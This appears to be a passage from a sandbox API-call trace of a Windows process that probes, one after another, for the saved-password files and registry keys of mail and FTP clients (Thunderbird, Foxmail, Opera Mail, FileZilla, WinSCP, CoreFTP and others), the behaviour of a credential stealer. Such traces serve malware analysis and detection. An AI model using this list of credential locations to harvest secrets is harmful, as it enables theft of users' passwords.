	[0213.655] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Thunderbird\\signons.sqlite" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\thunderbird\\signons.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5e0 | out: lpFileInformation=0x5ffe5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0213.655] GetLastError () returned 0x3
	[0213.656] SetErrorMode (uMode=0x0) returned 0x1
	[0213.656] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Thunderbird\\logins.json", nBufferLength=0x105, lpBuffer=0x5ffe160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Thunderbird\\logins.json", lpFilePart=0x0) returned 0x39
	[0213.656] GetLastError () returned 0x3
	[0213.656] SetErrorMode (uMode=0x1) returned 0x0
	[0213.656] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Thunderbird\\logins.json" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\thunderbird\\logins.json"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5e0 | out: lpFileInformation=0x5ffe5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0213.656] GetLastError () returned 0x3
	[0213.656] SetErrorMode (uMode=0x0) returned 0x1
	[0213.708] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Aerofox\\FoxmailPreview", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe440 | out: phkResult=0x5ffe440*=0x0) returned 0x2
	[0213.717] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Aerofox\\Foxmail\\V3.1", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe440 | out: phkResult=0x5ffe440*=0x0) returned 0x2
	[0213.719] GetFullPathNameW (in: lpFileName="\\Storage\\", nBufferLength=0x105, lpBuffer=0x5ffdf78, lpFilePart=0x0 | out: lpBuffer="C:\\Storage\\", lpFilePart=0x0) returned 0xb
	[0213.720] GetLastError () returned 0x3
	[0213.720] SetErrorMode (uMode=0x1) returned 0x0
	[0213.720] FindFirstFileW (in: lpFileName="C:\\Storage\\*", lpFindFileData=0x5af7b8 | out: lpFindFileData=0x5af7b8) returned 0xffffffff
	[0213.720] GetLastError () returned 0x3
	[0213.722] SetErrorMode (uMode=0x0) returned 0x1
	[0213.749] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x5af788 | out: pszPath="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x0
	[0213.749] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x5ffe0f4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming", lpFilePart=0x0) returned 0x21
	[0213.749] GetLastError () returned 0x3f0
	[0213.751] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Opera Mail\\Opera Mail\\wand.dat", nBufferLength=0x105, lpBuffer=0x5ffe15c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Opera Mail\\Opera Mail\\wand.dat", lpFilePart=0x0) returned 0x40
	[0213.751] GetLastError () returned 0x3f0
	[0213.751] SetErrorMode (uMode=0x1) returned 0x0
	[0213.751] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Opera Mail\\Opera Mail\\wand.dat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\opera mail\\opera mail\\wand.dat"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5dc | out: lpFileInformation=0x5ffe5dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0213.751] GetLastError () returned 0x3
	[0213.751] SetErrorMode (uMode=0x0) returned 0x1
	[0213.792] GetEnvironmentVariableW (in: lpName="appdata", lpBuffer=0x5af788, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21
	[0213.793] GetLastError () returned 0x3
	[0213.795] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Pocomail\\accounts.ini", nBufferLength=0x105, lpBuffer=0x5ffe134, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Pocomail\\accounts.ini", lpFilePart=0x0) returned 0x37
	[0213.795] GetLastError () returned 0x3
	[0213.795] SetErrorMode (uMode=0x1) returned 0x0
	[0213.795] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Pocomail\\accounts.ini" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\pocomail\\accounts.ini"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5b4 | out: lpFileInformation=0x5ffe5b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0213.795] GetLastError () returned 0x3
	[0213.795] SetErrorMode (uMode=0x0) returned 0x1
	[0213.829] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Qualcomm\\Eudora\\CommandLine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe594 | out: phkResult=0x5ffe594*=0x0) returned 0x2
	[0213.838] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Qualcomm\\Eudora\\CommandLine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe594 | out: phkResult=0x5ffe594*=0x0) returned 0x2
	[0213.882] GetEnvironmentVariableW (in: lpName="appdata", lpBuffer=0x5af788, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21
	[0213.882] GetLastError () returned 0x3
	[0213.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\The Bat!", nBufferLength=0x105, lpBuffer=0x5ffe168, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\The Bat!", lpFilePart=0x0) returned 0x2a
	[0213.884] GetLastError () returned 0x3
	[0213.884] SetErrorMode (uMode=0x1) returned 0x0
	[0213.884] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\The Bat!" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\the bat!"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5e8 | out: lpFileInformation=0x5ffe5e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0213.885] GetLastError () returned 0x2
	[0213.885] SetErrorMode (uMode=0x0) returned 0x1
	[0213.928] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Postbox\\profiles.ini", nBufferLength=0x105, lpBuffer=0x5ffdff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Postbox\\profiles.ini", lpFilePart=0x0) returned 0x36
	[0213.928] GetLastError () returned 0x2
	[0213.928] SetErrorMode (uMode=0x1) returned 0x0
	[0213.928] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Postbox\\profiles.ini" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\postbox\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff
	[0213.928] GetLastError () returned 0x3
	[0213.930] SetErrorMode (uMode=0x0) returned 0x1
	[0213.933] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Postbox\\signons.sqlite", nBufferLength=0x105, lpBuffer=0x5ffe174, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Postbox\\signons.sqlite", lpFilePart=0x0) returned 0x38
	[0213.933] GetLastError () returned 0x3
	[0213.933] SetErrorMode (uMode=0x1) returned 0x0
	[0213.933] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Postbox\\signons.sqlite" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\postbox\\signons.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5f4 | out: lpFileInformation=0x5ffe5f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0213.934] GetLastError () returned 0x3
	[0213.934] SetErrorMode (uMode=0x0) returned 0x1
	[0213.964] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x5af788, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21
	[0213.964] GetLastError () returned 0x3
	[0213.966] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\FileZilla\\recentservers.xml", nBufferLength=0x105, lpBuffer=0x5ffe01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\FileZilla\\recentservers.xml", lpFilePart=0x0) returned 0x3d
	[0213.966] GetLastError () returned 0x3
	[0213.966] SetErrorMode (uMode=0x1) returned 0x0
	[0213.966] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\FileZilla\\recentservers.xml" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff
	[0213.966] GetLastError () returned 0x3
	[0213.968] SetErrorMode (uMode=0x0) returned 0x1
	[0214.002] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Ipswitch\\WS_FTP\\Sites\\ws_ftp.ini", nBufferLength=0x105, lpBuffer=0x5ffe12c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Ipswitch\\WS_FTP\\Sites\\ws_ftp.ini", lpFilePart=0x0) returned 0x42
	[0214.002] GetLastError () returned 0x3
	[0214.002] SetErrorMode (uMode=0x1) returned 0x0
	[0214.002] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Ipswitch\\WS_FTP\\Sites\\ws_ftp.ini" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\ipswitch\\ws_ftp\\sites\\ws_ftp.ini"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5ac | out: lpFileInformation=0x5ffe5ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0214.003] GetLastError () returned 0x3
	[0214.003] SetErrorMode (uMode=0x0) returned 0x1
	[0214.006] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe5c8 | out: phkResult=0x5ffe5c8*=0x0) returned 0x2
	[0214.010] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\CoreFTP\\sites.idx", nBufferLength=0x105, lpBuffer=0x5ffe048, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\CoreFTP\\sites.idx", lpFilePart=0x0) returned 0x33
	[0214.010] GetLastError () returned 0x3
	[0214.010] SetErrorMode (uMode=0x1) returned 0x0
	[0214.010] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\CoreFTP\\sites.idx" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\coreftp\\sites.idx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff
	[0214.011] GetLastError () returned 0x3
	[0214.013] SetErrorMode (uMode=0x0) returned 0x1
	[0214.036] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x5ffe490 | out: lpclsid=0x5ffe490*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0
	[0214.042] CoGetClassObject (in: rclsid=0x5cbdb4*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x7480a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5ffe300 | out: ppv=0x5ffe300*=0x7bfe58) returned 0x0
	[0214.069] WshShell:IUnknown:QueryInterface (in: This=0x7bfe58, riid=0x748f7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5ffe130 | out: ppvObject=0x5ffe130*=0x0) returned 0x80004002
	[0214.069] WshShell:IClassFactory:CreateInstance (in: This=0x7bfe58, pUnkOuter=0x0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffe168 | out: ppvObject=0x5ffe168*=0x7bfe84) returned 0x0
	[0214.069] IUnknown:QueryInterface (in: This=0x7bfe84, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdf0c | out: ppvObject=0x5ffdf0c*=0x7bfe84) returned 0x0
	[0214.069] IUnknown:QueryInterface (in: This=0x7bfe84, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5ffdec8 | out: ppvObject=0x5ffdec8*=0x0) returned 0x80004002
	[0214.069] IUnknown:QueryInterface (in: This=0x7bfe84, riid=0x747d0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5ffddbc | out: ppvObject=0x5ffddbc*=0x7bfe74) returned 0x0
	[0214.069] IProvideClassInfo:GetClassInfo (in: This=0x7bfe74, ppTI=0x5ffddb4 | out: ppTI=0x5ffddb4*=0x51fef88) returned 0x0
	[0214.076] ITypeInfo:RemoteGetTypeAttr (in: This=0x51fef88, ppTypeAttr=0x5ffddc8, pDummy=0xcfb98e83 | out: ppTypeAttr=0x5ffddc8, pDummy=0xcfb98e83) returned 0x0
	[0214.076] ITypeInfo:LocalReleaseTypeAttr (This=0x51fef88) returned 0x5d3fa0
	[0214.076] IUnknown:Release (This=0x7bfe74) returned 0x2
	[0214.076] IUnknown:Release (This=0x51fef88) returned 0x1
	[0214.076] IUnknown:AddRef (This=0x7bfe84) returned 0x3
	[0214.076] CoGetContextToken (in: pToken=0x5ffdd54 | out: pToken=0x5ffdd54) returned 0x0
	[0214.076] CoGetContextToken (in: pToken=0x5ffdd18 | out: pToken=0x5ffdd18) returned 0x0
	[0214.076] IUnknown:QueryInterface (in: This=0x527e48, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdd4c | out: ppvObject=0x5ffdd4c*=0x527e54) returned 0x0
	[0214.076] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527e54, pAptType=0x5ffdd7c | out: pAptType=0x5ffdd7c*=0) returned 0x0
	[0214.076] IUnknown:Release (This=0x527e54) returned 0x2
	[0214.076] IUnknown:QueryInterface (in: This=0x7bfe84, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdd3c | out: ppvObject=0x5ffdd3c*=0x0) returned 0x80004002
	[0214.077] CoGetContextToken (in: pToken=0x5ffdd30 | out: pToken=0x5ffdd30) returned 0x0
	[0214.077] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x1, cHandles=0x1, pHandles=0x5ffdd1c*=0x4ec, lpdwindex=0x5ffdb78 | out: lpdwindex=0x5ffdb78) returned 0x80010115
	[0214.077] CoGetContextToken (in: pToken=0x5ffd190 | out: pToken=0x5ffd190) returned 0x0
	[0214.077] CoGetContextToken (in: pToken=0x5ffd160 | out: pToken=0x5ffd160) returned 0x0
	[0214.077] CoGetContextToken (in: pToken=0x5ffd0f0 | out: pToken=0x5ffd0f0) returned 0x0
	[0214.077] IUnknown:Release (This=0x5d2710) returned 0x1
	[0214.077] IUnknown:Release (This=0x5d2710) returned 0x0
	[0214.081] CoGetContextToken (in: pToken=0x5ffdd4c | out: pToken=0x5ffdd4c) returned 0x0
	[0214.081] IUnknown:AddRef (This=0x7bfe84) returned 0x4
	[0214.081] IUnknown:QueryInterface (in: This=0x7bfe84, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffddc0 | out: ppvObject=0x5ffddc0*=0x0) returned 0x80004002
	[0214.082] IUnknown:Release (This=0x7bfe84) returned 0x3
	[0214.082] IUnknown:Release (This=0x7bfe84) returned 0x2
	[0214.082] WshShell:IUnknown:Release (This=0x7bfe58) returned 0x0
	[0214.082] IUnknown:Release (This=0x7bfe84) returned 0x1
	[0214.084] CoGetContextToken (in: pToken=0x5ffe178 | out: pToken=0x5ffe178) returned 0x0
	[0214.084] IUnknown:AddRef (This=0x7bfe84) returned 0x2
	[0214.084] IUnknown:QueryInterface (in: This=0x7bfe84, riid=0x747ff5fc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffe1d4 | out: ppvObject=0x5ffe1d4*=0x7bfe70) returned 0x0
	[0214.085] IUnknown:Release (This=0x7bfe84) returned 0x2
	[0214.085] IDispatch:GetIDsOfNames (in: This=0x7bfe70, riid=0x747ff910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x5ffe1d0*="RegRead", cNames=0x1, lcid=0x409, rgDispId=0x5ffe1c0 | out: rgDispId=0x5ffe1c0*=2000) returned 0x0
	[0214.085] IDispatch:Invoke (in: This=0x7bfe70, dispIdMember=2000, riid=0x747ff910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x5ffe25c*(rgvarg=([0]=0x5ffe1e0*(varType=0x4008, wReserved1=0x5ff, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ffe1b0*="HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\Host", varVal2=0x749b8ab3)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x5ffe228, pExcepInfo=0x5ffe0b8, puArgErr=0x5ffe158 | out: pDispParams=0x5ffe25c*(rgvarg=([0]=0x5ffe1e0*(varType=0x4008, wReserved1=0x5ff, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ffe1b0*="HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\Host", varVal2=0x749b8ab3)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x5ffe228*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80070002, varVal2=0x0), pExcepInfo=0x5ffe0b8*(wCode=0x0, wReserved=0x0, bstrSource="WshShell.RegRead", bstrDescription="Invalid root in registry key \"HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\Host\".", bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x80070002), puArgErr=0x5ffe158*=0x5ffe1a8) returned 0x80020009
	[0214.162] SysStringLen (param_1="Invalid root in registry key \"HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\Host\".") returned 0x55
	[0214.162] SysStringLen (param_1="WshShell.RegRead") returned 0x10
	[0214.181] IUnknown:Release (This=0x7bfe70) returned 0x1
	[0214.189] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x5ffe490 | out: lpclsid=0x5ffe490*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0
	[0214.190] CoGetClassObject (in: rclsid=0x5cbdb4*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x7480a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5ffe300 | out: ppv=0x5ffe300*=0x7bfe58) returned 0x0
	[0214.190] WshShell:IUnknown:QueryInterface (in: This=0x7bfe58, riid=0x748f7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5ffe130 | out: ppvObject=0x5ffe130*=0x0) returned 0x80004002
	[0214.190] WshShell:IClassFactory:CreateInstance (in: This=0x7bfe58, pUnkOuter=0x0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffe168 | out: ppvObject=0x5ffe168*=0x7bfeb4) returned 0x0
	[0214.190] IUnknown:QueryInterface (in: This=0x7bfeb4, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdf0c | out: ppvObject=0x5ffdf0c*=0x7bfeb4) returned 0x0
	[0214.190] IUnknown:QueryInterface (in: This=0x7bfeb4, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5ffdec8 | out: ppvObject=0x5ffdec8*=0x0) returned 0x80004002
	[0214.190] IUnknown:QueryInterface (in: This=0x7bfeb4, riid=0x747d0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5ffddbc | out: ppvObject=0x5ffddbc*=0x7bfea4) returned 0x0
	[0214.191] IProvideClassInfo:GetClassInfo (in: This=0x7bfea4, ppTI=0x5ffddb4 | out: ppTI=0x5ffddb4*=0x51fef88) returned 0x0
	[0214.191] ITypeInfo:RemoteGetTypeAttr (in: This=0x51fef88, ppTypeAttr=0x5ffddc8, pDummy=0xcfb98e83 | out: ppTypeAttr=0x5ffddc8, pDummy=0xcfb98e83) returned 0x0
	[0214.191] ITypeInfo:LocalReleaseTypeAttr (This=0x51fef88) returned 0x5d19b8
	[0214.191] IUnknown:Release (This=0x7bfea4) returned 0x2
	[0214.191] IUnknown:Release (This=0x51fef88) returned 0x1
	[0214.191] IUnknown:AddRef (This=0x7bfeb4) returned 0x3
	[0214.191] CoGetContextToken (in: pToken=0x5ffdd54 | out: pToken=0x5ffdd54) returned 0x0
	[0214.191] CoGetContextToken (in: pToken=0x5ffdd18 | out: pToken=0x5ffdd18) returned 0x0
	[0214.191] IUnknown:QueryInterface (in: This=0x527e48, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdd4c | out: ppvObject=0x5ffdd4c*=0x527e54) returned 0x0
	[0214.191] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527e54, pAptType=0x5ffdd7c | out: pAptType=0x5ffdd7c*=0) returned 0x0
	[0214.192] IUnknown:Release (This=0x527e54) returned 0x1
	[0214.192] IUnknown:QueryInterface (in: This=0x7bfeb4, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdd3c | out: ppvObject=0x5ffdd3c*=0x0) returned 0x80004002
	[0214.194] CoGetContextToken (in: pToken=0x5ffdd4c | out: pToken=0x5ffdd4c) returned 0x0
	[0214.194] IUnknown:AddRef (This=0x7bfeb4) returned 0x4
	[0214.194] IUnknown:QueryInterface (in: This=0x7bfeb4, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffddc0 | out: ppvObject=0x5ffddc0*=0x0) returned 0x80004002
	[0214.194] IUnknown:Release (This=0x7bfeb4) returned 0x3
	[0214.195] IUnknown:Release (This=0x7bfeb4) returned 0x2
	[0214.195] WshShell:IUnknown:Release (This=0x7bfe58) returned 0x0
	[0214.195] IUnknown:Release (This=0x7bfeb4) returned 0x1
	[0214.197] CoGetContextToken (in: pToken=0x5ffe178 | out: pToken=0x5ffe178) returned 0x0
	[0214.197] IUnknown:AddRef (This=0x7bfeb4) returned 0x2
